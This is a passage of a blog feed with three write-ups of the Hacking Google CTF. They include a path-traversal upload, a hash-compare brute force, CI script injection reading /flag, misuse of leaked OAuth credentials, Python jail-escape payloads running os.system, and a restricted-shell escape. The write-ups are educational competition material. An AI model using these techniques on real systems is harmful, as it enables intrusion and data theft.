<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">Episode 1</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">Episode 2</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-3">Episode 3</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-4">Episode 4</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-5">Episode 5</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Hacking Google CTF - Episode 4]]></title><description><![CDATA[This is a write-up about how I solved the fifth episode of the H4CK1NG GOOGL3 security CTF. If you didn't read my post about the first episode, I highly recommend you to check it out since it introduces the concept of a CTF.
Challenge 01: Bug Hunters...]]></description><link>https://blog.lohr.dev/hacking-google-ctf-episode-4</link><guid isPermaLink="true">https://blog.lohr.dev/hacking-google-ctf-episode-4</guid><category><![CDATA[Write Up]]></category><category><![CDATA[hacking]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Thu, 17 Nov 2022 16:09:42 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1668355161638/sPJ7endCa.avif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is a write-up about how I solved the fifth episode of the <a target="_blank" href="https://h4ck1ng.google/">H4CK1NG GOOGL3</a> security CTF. If you didn't read <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">my post about the first episode</a>, I highly recommend you to check it out since it introduces the concept of a CTF.</p>
<h1 id="heading-challenge-01-bug-hunters">Challenge 01: Bug Hunters</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668355832371/ELFXqZqBV.png" alt="Fake Google Bug Hunters Website" class="image--center mx-auto" /></p>
<blockquote>
<p>Hints:</p>
<ul>
<li><p>Look at challenge 02 first</p>
</li>
<li><p>../../..</p>
</li>
</ul>
</blockquote>
<p>For this challenge, Google cloned their <a target="_blank" href="https://bughunters.google.com/">Bug Hunters</a> website. But they exchanged the OIDC login with a basic login with a username and password, password reset functionality, and added <code>/import</code> and <code>/export</code> API endpoints.</p>
<p>I analyzed the login functionality thoroughly but could not spot something unusual. Turns out you get the site's source code (in HTML/JS) from challenge 02 and the backend code for the import/export endpoints (written in Go) from challenge 03!</p>
<p>The import endpoint allows users to upload bug reports by uploading <code>.tar.gz</code> compressed files. If a file is already present and we enable the debug mode by passing <code>&amp;dryRun=t&amp;debug=t</code>, we get a diff between the old and the new file.</p>
<p>After looking at the import functionality, it became apparent that the function does not check for <a target="_blank" href="https://owasp.org/www-community/attacks/Path_Traversal">path traversal attacks</a>.</p>
<p>So we just created a <code>.tar.gz</code> file containing an empty flag file and submitted it using:</p>
<pre><code class="lang-bash">curl --location --request POST <span class="hljs-string">'https://path-less-traversed-web.h4ck.ctfcompetition.com/import?submission=../../../&amp;dryRun=t&amp;debug=t'</span> \
--form <span class="hljs-string">'attachments=@"/home/michi/flag.tar.gz"'</span>
</code></pre>
<p>And get the diff containing the flag as a response.</p>
<h1 id="heading-challenge-02-bug-hunters-2">Challenge 02: Bug hunters 2</h1>
<blockquote>
<p>Hints:</p>
<ul>
<li><p>Brute force is the way to go</p>
</li>
<li><p>By fixing one vulnerability, you might introduce another one</p>
</li>
</ul>
</blockquote>
<p>This challenge gives us the source code for the website from challenge 01, together with the hint to log in as user "tin".</p>
<p>In the source code, we can see that we have to log in to display the flags (each user has one). The users and their password hashes are hardcoded:</p>
<pre><code class="lang-json">  { username: 'don', hashedPassword: 'i4tUa+RTGgv+jRtyUWBXbP1i/mg=', isAdmin: <span class="hljs-literal">true</span> },
  { username: 'tin', hashedPassword: 'XtBEoWAkAF/UKax1SDdIHeCJbtE=' }
</code></pre>
<p>The reset function generates a random password but only allows passwords of non-admins to be reset.</p>
<p>After some digging around, we find that they implemented their own method for comparing strings in constant time to be invulnerable from <a target="_blank" href="https://www.chosenplaintext.ca/articles/beginners-guide-constant-time-cryptography.html">timing attacks</a>. However, their method is based on comparing the indices of the digits (yes only numbers) in the string one by one instead of comparing the actual characters. That means that two strings will be considered equal if their length is the same and they have numbers in the same location (not even the same numbers).</p>
<p>This equals method is used to compare the hashes when logging in. If we reset tin's password often enough (using a simple script), we eventually get one without any numbers and can log in with every password containing no numbers.</p>
<p>I also found a way to log in as the admin user, whose password cannot be reset: We first have to obtain the actual base64-decoded hash of don's password with the following command:</p>
<pre><code class="lang-bash">&gt; <span class="hljs-built_in">echo</span> <span class="hljs-string">'i4tUa+RTGgv+jRtyUWBXbP1i/mg='</span> | base64 -d - | xxd -p
8b8b546be4531a0bfe8d1b725160576cfd62fe68
</code></pre>
<p>Then we can brute force SHA1 passwords to get one, that has the numbers in the same places as don's hash. This actually gets us the flag for a bonus challenge.</p>
<h1 id="heading-challenge-02-bug-hunters-3">Challenge 02: Bug hunters 3</h1>
<blockquote>
<p>Hints:</p>
<ul>
<li><p>Git has lots of flags</p>
</li>
<li><p>CI can be dangerous</p>
</li>
</ul>
</blockquote>
<p>The challenge description tells you to find some bugs and gives you the hint to "find out how to contribute". By looking around the site from challenge 01, we find a Git URL that is pointing to a source code repository containing the source code of the backend.</p>
<p>When trying to contribute by pushing to the <code>flag</code> branch, the Git server rejects all push requests:</p>
<pre><code class="lang-plaintext">Total 0 (delta 0), reused 0 (delta 0), pack-reused 0
remote: Skipping presubmit (enable via push option)
remote: Thank you for your interest, but we are no longer accepting proposals
To git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo
 ! [remote rejected] flag -&gt; flag (pre-receive hook declined)
error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo'
</code></pre>
<p>The error message says that the "presubmit checks" were skipped - so let's try to enable them?</p>
<pre><code class="lang-plaintext">$ git push -o "presubmit" -u origin flag
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 16 threads
Compressing objects: 100% (4/4), done.
Writing objects: 100% (4/4), 708 bytes | 708.00 KiB/s, done.
Total 4 (delta 2), reused 0 (delta 0), pack-reused 0
remote: Starting presubmit check
remote: Cloning into 'tmprepo'...
remote: done.
remote: HEAD is now at f5582f1 test
remote: Building version v0.1.2
remote: ./build.sh: line 5: go: command not found
remote: Build server must be misconfigured again...
remote: Thank you for your interest, but we are no longer accepting proposals
To git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo
 ! [remote rejected] flag -&gt; flag (pre-receive hook declined)
error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo'
</code></pre>
<p>Looking at the error message, we can see that the version number is printed by the server. So maybe there is a way to also print the flag, which probably works by executing <code>cat /flag</code>, again?</p>
<p>This code is from the <code>build.sh</code> file, which seems like it was part of some CI:</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/usr/bin/env bash</span>

<span class="hljs-built_in">source</span> configure_flags.sh &amp;&gt;/dev/null
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Building version <span class="hljs-variable">${VERSION}</span>"</span>
go build -ldflags=<span class="hljs-string">"<span class="hljs-variable">${LDFLAGS[*]}</span>"</span>
</code></pre>
<p>However, modifying it has no use since it executes always the unmodified on the server. But we can change the <code>configure_flags.sh</code> file to include the flag value:</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/usr/bin/env bash</span>

<span class="hljs-comment"># IMPORTANT: Make sure to bump this before pushing a new binary.</span>
VERSION=<span class="hljs-string">"<span class="hljs-subst">$(cat /flag)</span>"</span>
COMMIT_HASH=<span class="hljs-string">"<span class="hljs-subst">$(git rev-parse --short HEAD)</span>"</span>
BUILD_TIMESTAMP=$(date <span class="hljs-string">'+%Y-%m-%dT%H:%M:%S'</span>)

LDFLAGS=(
  <span class="hljs-string">"-X 'main.Version=<span class="hljs-variable">${VERSION}</span>'"</span>
  <span class="hljs-string">"-X 'main.CommitHash=<span class="hljs-variable">${COMMIT_HASH}</span>'"</span>
  <span class="hljs-string">"-X 'main.BuildTime=<span class="hljs-variable">${BUILD_TIMESTAMP}</span>'"</span>
)
</code></pre>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Challenge one and two were quite interesting, probably because I am really interested in web technologies. However, I didn't like the challenge three that much, and without the hint from another participant to look at the hooks, it would have taken me a lot longer to figure out. You can read my write-up for the next (and last) episode <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-5">over here</a>.</p>
<p>Episode Overview:</p>
<ul>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">Episode 0</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">Episode 1</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">Episode 2</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-3">Episode 3</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-4">Episode 4</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-5">Episode 5</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Hacking Google CTF - Episode 3]]></title><description><![CDATA[This is a write-up about how I solved the fourth episode of the H4CK1NG GOOGL3 security CTF. If you didn't read my post about the first episode, I highly recommend you to check it out since it introduces the concept of a CTF.
Challenge 01: OAuth 2.0
...]]></description><link>https://blog.lohr.dev/hacking-google-ctf-episode-3</link><guid isPermaLink="true">https://blog.lohr.dev/hacking-google-ctf-episode-3</guid><category><![CDATA[hacking]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sat, 12 Nov 2022 17:23:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1668274224849/l6mTcbnTA.avif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is a write-up about how I solved the fourth episode of the <a target="_blank" href="https://h4ck1ng.google/">H4CK1NG GOOGL3</a> security CTF. If you didn't read <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">my post about the first episode</a>, I highly recommend you to check it out since it introduces the concept of a CTF.</p>
<h1 id="heading-challenge-01-oauth-20">Challenge 01: OAuth 2.0</h1>
<blockquote>
<p>Hints:</p>
</blockquote>
<ul>
<li><p>Have a thorough look at the challenge intro video</p>
</li>
<li><p>Credentials might be accidentally left on the system somewhere</p>
</li>
</ul>
<p>The first challenge gives one command and the hint that a key should be found and <a target="_blank" href="https://www.rfc-editor.org/rfc/rfc6749">RFC 6749</a> (which is about OAuth) should be put to use.</p>
<p>The command opens a TCP connection using <code>socat</code>, which presents a prompt asking for a password:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668256952560/ljTf1tpPj.png" alt="password challenge" class="image--center mx-auto" /></p>
<p>This one took me a while to figure out. Each episode comes with an introductory video. Someone on the Hacking Google CTF gave a hint that the password is hidden in this video. It took us a while, but eventually <a target="_blank" href="https://youtu.be/TusQWn2TQxQ?t=909">we found it</a>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668257406949/Yks5JHVhZ.png" alt="hidden password" class="image--center mx-auto" /></p>
<p>Entering this password reveals a shell environment. Seems like it was the development environment of some developer creating a backup script for some documents:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668257589132/qmhNhtDs7.png" alt="shell like environment" class="image--center mx-auto" /></p>
<p>The <code>backup.py</code> The script reveals the ID of the document the developer tried to back up, but the method to get the credentials has not yet been finished.</p>
<p>Okay, it seems like we have the document containing the flag. Now we probably have to somehow get the OAuth credentials to access that file. Luckily enough, we can find the credentials in <code>.config/gcloud/legacy_credentials/backup-tool@project-multivision.iam.gserviceaccount.com/adc.json</code>, which contains a client id, client email, and private key.</p>
<p>Looking at the <a target="_blank" href="https://developers.google.com/identity/protocols/oauth2/service-account">documentation</a> for the Google Api's OAuth 2 service, we now have to construct an RS256 <a target="_blank" href="https://jwt.io">JWT token</a> with the following content and POST that to <code>https://oauth2.googleapis.com/token</code>:</p>
<pre><code class="lang-json">{
   <span class="hljs-attr">"iss"</span>:<span class="hljs-string">"backup-tool@project-multivision.iam.gserviceaccount.com"</span>,
   <span class="hljs-attr">"scope"</span>:<span class="hljs-string">"https://www.googleapis.com/auth/documents.readonly"</span>,
   <span class="hljs-attr">"aud"</span>:<span class="hljs-string">"https://oauth2.googleapis.com/token"</span>,
   <span class="hljs-attr">"exp"</span>:<span class="hljs-number">1664813638</span>,
   <span class="hljs-attr">"iat"</span>:<span class="hljs-number">1664810038</span>
}
</code></pre>
<p>By doing that, we receive an access token that is valid for one hour to access that file. And of course, that file contains the flag!</p>
<h1 id="heading-challenge-02-the-maze">Challenge 02: The Maze</h1>
<blockquote>
<p>Hints:</p>
</blockquote>
<ul>
<li><p>Python is not made for secure/jailed environments</p>
</li>
<li><p>A terminal might not be the best choice for this challenge</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668258346724/ilWwu5iZw.png" alt="ASCII maze" class="image--center mx-auto" /></p>
<p>Again, we are presented with a <code>socat</code> command, but this time with an interactive game. The player can move around, pick up stuff like keys to unlock doors, energy boosters (energy gets lost by walking), and traps to kill enemies. After playing the game for a while, it seems rather hard and is not going anywhere.</p>
<p>The instructions for this challenge just mention that you have to cheat somehow. After some brainstorming and playing with the thought of writing a bot to solve the game, I remembered the most famous cheat code: The <a target="_blank" href="https://en.wikipedia.org/wiki/Konami_Code">Konami Code</a>. And indeed, entering the key sequence of that cheat opens up a shell-like environment.</p>
<p>Some toying around with that shell reveals that it is a really limited/jailed Python3 shell. This challenge took me a while, and I worked with other CTF participants to solve it. After some research, we found <a target="_blank" href="https://dspyt.com/how-to-python-jail-escape-newbie-ctf-2019">this article</a>, which explains how a Python jail would work and how it can be escaped. However, our shell was even more limited, not persisting the session after each command, seemingly printing only one line of the result and having a character limit for the input.</p>
<p>First, we wanted to see which classes are loaded. Because of the given limitation, we would have to manually print each entry of the subclasses array like so:</p>
<pre><code class="lang-python">print(().<span class="hljs-keyword">class</span>.bases[<span class="hljs-number">0</span>].subclasses()[<span class="hljs-number">123</span>]
</code></pre>
<p>To automate this, my friend wrote a Rust script that automatically connected, entered the Konami code, and executed the Python command. Now we had a list of classes, which contained some interesting entries. Most importantly, we spotted the "builtinImporter" object at index 84. This allowed us to actually load modules like this:</p>
<pre><code class="lang-python">().<span class="hljs-keyword">class</span>.bases[<span class="hljs-number">0</span>].subclasses()[<span class="hljs-number">84</span>].load_module(<span class="hljs-string">'os'</span>)
</code></pre>
<p>We eventually also found a way to persist our intermediate results between our inputs by creating new types and storing information in them:</p>
<pre><code class="lang-python"><span class="hljs-comment"># create new subclass</span>
c=str.__base__.__subclasses__();c[<span class="hljs-number">0</span>](<span class="hljs-string">"a"</span>,(),{<span class="hljs-string">"b"</span>:c[<span class="hljs-number">84</span>].load_module})
<span class="hljs-comment"># call it, like so</span>
str.__base__.__subclasses__()[<span class="hljs-number">274</span>](<span class="hljs-string">"os"</span>)

<span class="hljs-comment"># which allows us to execute commands on the system</span>
c=str.__base__.__subclasses__()[<span class="hljs-number">274</span>].b(<span class="hljs-string">"os"</span>);c.system(<span class="hljs-string">"ls"</span>)
<span class="hljs-comment"># which lists a 'flag' file</span>
</code></pre>
<p>That's it, right? Well, not quite. We could not <code>cat</code> the file and print the output in our terminals because they interpreted some <a target="_blank" href="https://en.wikipedia.org/wiki/ANSI_escape_code">ANSI codes</a> that hid the output. But thanks to our Rust program, we could actually see the raw output and find the flag there.</p>
<h1 id="heading-challenge-03-corgi">Challenge 03: Corgi</h1>
<blockquote>
<p>Hints:</p>
</blockquote>
<ul>
<li><p>You don't have to crack the encryption.</p>
</li>
<li><p>Maybe there was some useful code left from development</p>
</li>
</ul>
<p>This challenge came with a QR code and an <code>.apk</code> Android application. I found <a target="_blank" href="https://www.decompiler.com/">this online decompiler</a> tool, which I could use to look at the decompiled source code.</p>
<p>The app seems to allow scanning QR codes (using Google Lens) to enable app content with some encryption magic. After making sure that there is nothing weird going on with that app, I installed it on my phone. Normally I would never install such files on my Phone from untrusted sources, but I have no experience with Android development and did not want to search for a good emulator that can cope with Google services. Google wouldn't install a virus on my phone - I hope at least.</p>
<p>Scanning the QR code with any reader app, will lead to this URL: <a target="_blank" href="https://corgis-web.h4ck.ctfcompetition.com/aHR0cHM6Ly9jb3JnaXMtd2ViLmg0Y2suY3RmY29tcGV0aXRpb24uY29tL2NvcmdpP0RPQ0lEPWZsYWcmX21hYz1kZWQwOWZmMTUyOGYyOTgwMGIxZTczM2U2MjA4ZWEzNjI2NjZiOWVlYjVmNDBjMjY0ZmM1ZmIxOWRhYTM2OTM5"><code>https://corgis-web.h4ck.ctfcompetition.com/aHR0cHM6Ly9jb3JnaXMtd2ViLmg0Y2suY3RmY29tcGV0aXRpb24uY29tL2NvcmdpP0RPQ0lEPWZsYWcmX21hYz1kZWQwOWZmMTUyOGYyOTgwMGIxZTczM2U2MjA4ZWEzNjI2NjZiOWVlYjVmNDBjMjY0ZmM1ZmIxOWRhYTM2OTM5</code></a></p>
<p>Everything behind the <code>/</code> can be decoded using base64 and will result in another URL: <a target="_blank" href="https://corgis-web.h4ck.ctfcompetition.com/corgi?DOCID=flag&amp;_mac=ded09ff1528f29800b1e733e6208ea362666b9eeb5f40c264fc5fb19daa36939"><code>https://corgis-web.h4ck.ctfcompetition.com/corgi?DOCID=flag&amp;_mac=ded09ff1528f29800b1e733e6208ea362666b9eeb5f40c264fc5fb19daa36939</code></a></p>
<p>This URL is parsed by the app and is used to unlock content. However, this only works if the client is "subscribed", which is testing using the <code>_mac</code> value and some HMAC encryption, whose secrets can be found in the <code>strings.xml</code> file. However, the decompiled code is hard to read, and before trying to crack the encryption I wanted to have a look at the scanning logic.</p>
<p>The <a target="_blank" href="http://QrCodesKt.java"><code>QrCodesKt.java</code></a> has some debug logic that was left in the code. Specifically, when <code>/debug</code> and <code>#force_subscribed</code> is in the URL, we are "force subscribed" skipping the subscription check at all. Generating a QR code with its URL pointing to <a target="_blank" href="https://corgis-web.h4ck.ctfcompetition.com/debug/aHR0cHM6Ly9jb3JnaXMtd2ViLmg0Y2suY3RmY29tcGV0aXRpb24uY29tL2NvcmdpP0RPQ0lEPWZsYWcmX21hYz1kZWQwOWZmMTUyOGYyOTgwMGIxZTczM2U2MjA4ZWEzNjI2NjZiOWVlYjVmNDBjMjY0ZmM1ZmIxOWRhYTM2OTM5#force_subscribed"><code>https://corgis-web.h4ck.ctfcompetition.com/debug/aHR0cHM6Ly9jb3JnaXMtd2ViLmg0Y2suY3RmY29tcGV0aXRpb24uY29tL2NvcmdpP0RPQ0lEPWZsYWcmX21hYz1kZWQwOWZmMTUyOGYyOTgwMGIxZTczM2U2MjA4ZWEzNjI2NjZiOWVlYjVmNDBjMjY0ZmM1ZmIxOWRhYTM2OTM5#force_subscribed</code></a> and scanning it will reveal the flag in the app.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>I quite liked reverse engineering the QR code logic of the third challenge. The second challenge took most of the time and nerves but was pretty rewarding. You can read my write-up for the next episode <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-4">over here</a>.</p>
<p>Episode Overview:</p>
<ul>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">Episode 0</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">Episode 1</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">Episode 2</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-3">Episode 3</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-4">Episode 4</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-5">Episode 5</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Hacking Google CTF - Episode 2]]></title><description><![CDATA[This is a write-up about how I solved the third episode of the H4CK1NG GOOGL3 security CTF. If you didn't read my post about the first episode, I highly recommend you to check it out, since it introduces the concept of a CTF.
Challenge 01: LSB stego
...]]></description><link>https://blog.lohr.dev/hacking-google-episode-2</link><guid isPermaLink="true">https://blog.lohr.dev/hacking-google-episode-2</guid><category><![CDATA[Write Up]]></category><category><![CDATA[CTF]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sat, 05 Nov 2022 12:35:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1666950594157/zXL3-YXCR.avif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is a write-up about how I solved the third episode of the <a target="_blank" href="https://h4ck1ng.google/">H4CK1NG GOOGL3</a> security CTF. If you didn't read <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">my post about the first episode</a>, I highly recommend you to check it out, since it introduces the concept of a CTF.</p>
<h1 id="heading-challenge-01-lsb-stego">Challenge 01: LSB stego</h1>
<p><strong>Hints:</strong></p>
<ul>
<li><p>There are two similar images</p>
</li>
<li><p>One of the images has slightly different pixel data</p>
</li>
</ul>
<p>The challenge consists of the following image and the following description:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1666951010365/3Z8VGJxiY.png" alt="challenge.png" class="image--center mx-auto" /></p>
<blockquote>
<p>This image might look familiar. But where have you seen it before?</p>
<p>Hint: Sometimes the answers are hidden in plain site</p>
</blockquote>
<p>Indeed the image is hidden in plain site! It is the background of the hacking google webSITE: <code>https://h4ck1ng.google/assets/website.png</code>. When comparing both images in terms of checksum and with the help of diff tools, it becomes apparent that this is not the same image. The background image seems to contain some extra information.</p>
<p>Running in through the <code>string</code> utility (as previously used in the <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">last episode</a>, we get the following output:</p>
<pre><code class="lang-plaintext">strings website.png | head
IHDR        pHYssRGBgAMAtEXtAuthorCrash OverrideRiTXtComment
D&amp;R found our last message
 so just using base64-encoding isn't going to be enough. Maybe hide it in an SSL certificate? Should pass DLP checks. And use LSB stego, I'm sure that'll fool them. I found an online tool that works to read it (I'll send you a link) so we can probably deprecate your custom decoding tool. Oh and remember to delete this message before you check in the changes
[IDATx
</code></pre>
<p>There are a few interesting things here: The message author references "stego", which is an abbreviation for <a target="_blank" href="https://en.wikipedia.org/wiki/Steganography">Steganography</a>, which describes the practice of hiding information in a different message or data (like an image). LSB stands for "least significant bit", meaning each pixel contains part of the secret message in the least significant bits of the pixel's data. Those can be extracted with tools like this: https://stegonline.georgeom.net/upload.</p>
<p>After running the original challenge image through the stego tool we get some text-based data, which looks like a certificate, which was also mentioned in the hidden message from the <code>website.png</code>. But apparently, they hide the information we aim to get (the flag) in the certificate somehow.</p>
<p>The certificate can be parsed with the <code>openssl x509 -in cert -text</code> command, which reveals the hidden flag in the organization name of both the issuer and subject data.</p>
<p>After solving the challenge, someone pointed out to me that there is a tool called "Cyber Chef" that can do all the steps to decode the data, at once. It can do even more and is quite handy for such things: https://gchq.github.io/CyberChef/#recipe=Extract_LSB('R','G','B','A','Row',0)Parse_X.509_certificate('PEM')</p>
<h1 id="heading-challenge-02-timesketch">Challenge 02: Timesketch</h1>
<p><strong>Hints:</strong></p>
<ul>
<li><p>You don't need Timesketch</p>
</li>
<li><p>Look for things that look like a flag</p>
</li>
</ul>
<p>This challenge was a bit boring. They want you to analyze some server logs using <a target="_blank" href="https://github.com/google/timesketch">Timesketch</a>. They included instructions on how to set it up (even using Docker), but I didn't feel like it.</p>
<p>Since the flag has to be somewhere in the logs, I just looked for some keywords that appear in a flag. Weirdly enough searching for "h4ck1ng" etc. yielded no results. However "HTTP" did!</p>
<p><code>cat data.csv | grep http</code> returned the URL, which was scramled like this: <code>https://h[4]ck[1]n/g.go[og]le/s[ol]ve/...</code>.</p>
<h1 id="heading-challenge-03-quarantine-shell">Challenge 03: Quarantine Shell</h1>
<p><strong>Hints:</strong></p>
<ul>
<li><p>Focus on the available commands</p>
</li>
<li><p>Maybe you can somehow overwrite existing commands</p>
</li>
</ul>
<p>The command <code>command: socat FILE:</code>tty<code>,raw,echo=0 TCP:quarantine-shell.h4ck.ctfcompetition.com:1337</code> is given. It connects you to a remote shell. However, this shell is quarantined, meaning you supposedly can't execute commands:</p>
<pre><code class="lang-plaintext">❯ socat FILE:`tty`,raw,echo=0 TCP:quarantine-shell.h4ck.ctfcompetition.com:1337
== proof-of-work: disabled ==
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

   ___                                    _    _                ____   _            _  _
  / _ \  _   _   __ _  _ __  __ _  _ __  | |_ (_) _ __    ___  / ___| | |__    ___ | || |
 | | | || | | | / _` || `__|/ _` || `_ \ | __|| || `_ \  / _ \ \___ \ | `_ \  / _ \| || |
 | |_| || |_| || (_| || |  | (_| || | | || |_ | || | | ||  __/  ___) || | | ||  __/| || |
  \__\_\ \__,_| \__,_||_|   \__,_||_| |_| \__||_||_| |_| \___| |____/ |_| |_| \___||_||_|

The D&amp;R team has detected some suspicious activity on your account and has quarantined you while they investigate
961 days stuck at ~
~ $ echo test
command blocked: echo test
check completions to see available commands
</code></pre>
<p>There are quite some interesting things there, like the <code>== proof-of-work: disabled ==</code> output. But after some research, it turned out that this is just something from the CTF virtualization environment.</p>
<p>Pressing the tab key reveals the possible commands - so it seems like autocomplete still works. By typing <code>cd /</code> and then pressing tabs, we actually see all the files in the root file system. This reveals that there is a <code>/flag</code> file, which probably contains the flag URL.</p>
<p>By looking through the command list, I found some interesting commands that I actually was able to execute. One of the was the <code>function</code> command/keyword.</p>
<p>After some research, I found the following article: https://blog.dnmfarrell.com/post/bash-function-names-can-be-almost-anything/. After playing around with redefining the default <code>echo</code> command, I finally got the flag by using the following commands:</p>
<pre><code class="lang-plaintext">function echo
{
command echo $(&lt;/flag);
}
echo
</code></pre>
<p>We now have the flag, but we can now also access the shell files that implement the quarantine. After looking through the code, the relevant part seems to be this:</p>
<pre><code class="lang-bash">    <span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">quarantine_protocol</span></span>() {
        <span class="hljs-keyword">if</span> [[ <span class="hljs-string">"<span class="hljs-variable">${COMP_WORDS[0]}</span>"</span> == <span class="hljs-string">'_dnr_toolkit'</span> ]]; 
        <span class="hljs-keyword">then</span> 
            <span class="hljs-comment"># Removing the trap here then setting it again in the completions has the </span>
            <span class="hljs-comment"># effect of allowing all the code in the completions function to run </span>
            <span class="hljs-comment"># while preventing any user commands. </span>
            <span class="hljs-built_in">trap</span> - DEBUG <span class="hljs-literal">true</span> <span class="hljs-keyword">else</span> <span class="hljs-built_in">echo</span> <span class="hljs-string">"command blocked: <span class="hljs-variable">${BASH_COMMAND}</span>"</span> 
            <span class="hljs-built_in">echo</span> <span class="hljs-string">"check completions to see available commands"</span> <span class="hljs-literal">false</span> 
        <span class="hljs-keyword">fi</span> 
    } 

    <span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">quarantine</span></span>() { 
        <span class="hljs-comment"># Remove the environment, but only env vars, not functions. </span>
        <span class="hljs-built_in">set</span> -o posix <span class="hljs-built_in">unset</span> $(<span class="hljs-built_in">set</span> | grep <span class="hljs-string">'='</span> | grep -v <span class="hljs-string">'^_'</span> | grep -v <span class="hljs-string">'flag'</span> | cut -d<span class="hljs-string">'='</span> -f1) 2&gt;/dev/null 
        <span class="hljs-built_in">set</span> +o posix 
        <span class="hljs-comment"># Keep these at least, we're not THAT cruel. </span>
        PS1=<span class="hljs-string">'~ $ '</span> 
        PS2=<span class="hljs-string">'&gt; '</span> 
        PS4=<span class="hljs-string">'+ '</span> 
        <span class="hljs-comment"># Trap every command and ignore it. </span>
        <span class="hljs-comment"># Credit to https://stackoverflow.com/a/55977897 # This inadvertently has the effect of leaving them stuck at ~ and unable # to `exit` :^) </span>
        <span class="hljs-built_in">set</span> -T 
        <span class="hljs-comment"># Enable for subshells </span>
        <span class="hljs-built_in">shopt</span> -s extdebug 
        <span class="hljs-comment"># From the man pages: "If the command run by the DEBUG trap returns a non-zero value, the next command is skipped and not executed" </span>
        <span class="hljs-built_in">trap</span> quarantine_protocol DEBUG 
        <span class="hljs-comment"># Trap every single command </span>
    }
</code></pre>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Again, an interesting challenge - though I would say this was the weakest of the five episodes. You can read my write-up for the next episode <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">over here</a>.</p>
<p>Episode Overview:</p>
<ul>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">Episode 0</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">Episode 1</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">Episode 2</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-3">Episode 3</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-4">Episode 4</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-5">Episode 5</a></p>
</li>
</ul>
